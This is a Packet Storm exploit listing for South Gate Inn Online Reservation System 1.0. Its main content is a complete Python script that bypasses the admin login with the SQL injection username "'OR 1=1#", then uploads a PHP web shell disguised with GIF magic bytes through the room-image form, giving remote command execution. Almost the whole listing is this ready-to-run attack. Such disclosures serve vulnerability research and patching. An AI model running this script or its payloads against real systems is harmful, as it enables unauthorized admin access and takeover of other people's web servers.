what you don't know can hurt you

South Gate Inn Online Reservation System 1.0 Shell Upload / SQL Injection

South Gate Inn Online Reservation System 1.0 Shell Upload / SQL Injection
Posted Sep 22, 2021
Authored by Janik Wehrli

South Gate Inn Online Reservation System version 1.0 suffers from a remote SQL injection vulnerability that allows for a shell upload.

tags | exploit, remote, shell, sql injection
MD5 | 69fa9931e645aa63507e752a01212b6b

South Gate Inn Online Reservation System 1.0 Shell Upload / SQL Injection

Change Mirror Download
# Exploit Title: South Gate Inn Online Reservation System v1.0 - Remote Code Execution
# Date: 21.09.2021
# Exploit Author: Janik Wehrli
# Vendor Homepage: https://www.sourcecodester.com/php/10584/south-gate-inn-online-reservation-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/southgateinn.zip
# Version: 1.0
# Tested On: Ubuntu 18.04,Windows 10 + XAMPP 7.4
# Description: The South Gate Inn Online Reservation System suffers from an SQLi authentication bypass which leads to Admin access on the application. From there it's possible to upload a malicious PHP file to the server by changing a Room Image (getimagesize bypass). Both SQL queries and file validations are not handled properly, which leaves the Webserver in a vulnerable state.

import requests, sys
from colorama import Fore, Back, Style


requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
F = [Fore.RESET, Fore.BLACK, Fore.RED, Fore.GREEN, Fore.YELLOW, Fore.BLUE, Fore.MAGENTA, Fore.CYAN, Fore.WHITE]
B = [Back.RESET, Back.BLACK, Back.RED, Back.GREEN, Back.YELLOW, Back.BLUE, Back.MAGENTA, Back.CYAN, Back.WHITE]
S = [Style.RESET_ALL, Style.DIM, Style.NORMAL, Style.BRIGHT]
info = S[3] + F[5] + '[' + S[0] + S[3] + '-' + S[3] + F[5] + ']' + S[0] + ' '
err = S[3] + F[2] + '[' + S[0] + S[3] + '!' + S[3] + F[2] + ']' + S[0] + ' '
ok = S[3] + F[3] + '[' + S[0] + S[3] + '+' + S[3] + F[3] + ']' + S[0] + ' '

ASCII_ART = """

_.---._ /\\
./' "--`\//
./ o \
/./\ )______ \__ \
./ / /\ \ | \ \ \ \
/ / \ \ | |\ \ \7
" " " "


SouthGateInn RCE v1.0 Janik Wehrli
"""

# Set variables
print(ASCII_ART)
SERVER_URL = str(
input("Type in your SouthGateInn System v1.0 Location e.g http://192.168.20.20/southgateinn/SouthGateInn: \n"))
LOGIN_URL = SERVER_URL + '/admin/login.php'
UPLOAD_URL = SERVER_URL + "/admin/mod_room/controller.php?action=editimage"
PWN_URL = SERVER_URL + "/admin/mod_room/rooms/"
USERNAME = "'OR 1=1#"
PASSWORD = "PWNED"
WEBSHELL_NAME = "pwn.php"

# Uncomment the bottom line to run the exploit through a proxy such as burp
# proxies = {'http':'http://127.0.0.1:8080','https':'http://127.0.0.1:8080'}

# Create a simple web session with python
s = requests.Session()
# GET request to webserver - Start a session & retrieve a session cookie
get_session = s.get(LOGIN_URL, verify=False)
# Check connection to website & print session cookie to terminal OR die
if get_session.status_code == 200:
print(ok + 'Successfully connected to SouthGateInn System v1.0 server & created session.')
print(info + "Session Cookie: " + get_session.headers['Set-Cookie'])
else:
print(err + 'Cannot connect to the server and create a web session.')
sys.exit(-1)

# 1. Bypass Login to get Admin access
# POST data to bypass Authentication via SQL Injection
login_data = {'username': USERNAME, 'password': PASSWORD, 'login': ''}
print(
info + "Attempting to Login to SouthGateInn System v1.0 the following payload: " + "username:" + USERNAME + ":" + "password:" + PASSWORD)
# auth = s.post(url=LOGIN_URL, data=login_data, verify=False, proxies=proxies)
auth = s.post(url=LOGIN_URL, data=login_data, verify=False, allow_redirects=True)
if auth.status_code == 200:
print(ok, "Login Success")
else:
print(err, "Something Went Wrong")

# 2. Upload simple PHP Webshell to get command execution
# Content-Disposition: form-data; name="image"; filename="pwn.php"
# Content-Type: application/octet-stream
webshell = {
'image':
(
WEBSHELL_NAME,
'GIF89a <?php echo shell_exec($_GET["cmd"]);?>',
'application/octet-stream',
{'Content-Disposition': 'form-data'}
)
}
print(info + "Upload Webshell via insecure verification of images (getimagesize()) add GIF Magic Bytes")
print(info + "Send Post malicious POST Request to the Server")

upload_webshell = s.post(url=UPLOAD_URL, files=webshell, verify=False)

if "window.location='index.php'" in upload_webshell.text:
print(ok, "Success")
print(ok, "Your Webshell is located under: " + PWN_URL + WEBSHELL_NAME)
print(ok, "Execute Commands via the GET Parameter 'cmd' for e.g " + PWN_URL + WEBSHELL_NAME + "?cmd=whoami")
else:
print(err, "Something Went Wrong")
Login or Register to add favorites

File Archive:

October 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    16 Files
  • 2
    Oct 2nd
    1 Files
  • 3
    Oct 3rd
    1 Files
  • 4
    Oct 4th
    24 Files
  • 5
    Oct 5th
    24 Files
  • 6
    Oct 6th
    11 Files
  • 7
    Oct 7th
    14 Files
  • 8
    Oct 8th
    19 Files
  • 9
    Oct 9th
    1 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    7 Files
  • 12
    Oct 12th
    15 Files
  • 13
    Oct 13th
    26 Files
  • 14
    Oct 14th
    10 Files
  • 15
    Oct 15th
    6 Files
  • 16
    Oct 16th
    2 Files
  • 17
    Oct 17th
    1 Files
  • 18
    Oct 18th
    14 Files
  • 19
    Oct 19th
    15 Files
  • 20
    Oct 20th
    20 Files
  • 21
    Oct 21st
    12 Files
  • 22
    Oct 22nd
    14 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close